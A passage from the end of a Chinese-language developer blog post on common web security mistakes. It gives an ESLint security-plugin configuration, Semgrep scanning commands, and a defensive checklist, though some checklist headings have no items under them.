plugins: ['security'],
extends: ['plugin:security/recommended'],
rules: {
'security/detect-object-injection': 'error',
'security/detect-non-literal-regexp': 'error',
'security/detect-unsafe-regex': 'error',
}
};
# 现在ESLint会警告你潜在的安全问题
用Semgrep做静态代码分析:
# 安装
pip install semgrep
# 扫描
semgrep --config=auto .
# 会发现SQL注入、命令注入等问题
总结:安全是习惯,不是技术
这7个错误本质上都源于一个问题:没把安全当回事。
不是你不懂技术,而是你觉得"应该不会有事"。
但在互联网上,只要有漏洞,就一定会被利用。
快速检查清单(收藏版)
输入处理:
- [ ] 所有用户输入都用Schema验证(Joi/Zod)
密钥管理:
身份认证:
- [ ] Cookie设置HttpOnly + Secure + SameSite
- [ ] Token有过期时间(15分钟Access + 7天Refresh)
输出编码:
- [ ] 默认不用innerHTML/dangerouslySetInnerHTML
错误处理:
HTTPS:
依赖更新:
从现在开始
不要等到出事了再重视安全。
今天就做三件事:
安全防护就像买保险,没出事的时候觉得浪费钱,出事了就后悔莫及。
但和保险不同的是,代码安全的成本其实很低,只要养成习惯就行。
好的工程师写代码能跑。
优秀的工程师写代码安全。
阅读原文:原文链接
该文章在 2025/12/23 10:20:54 编辑过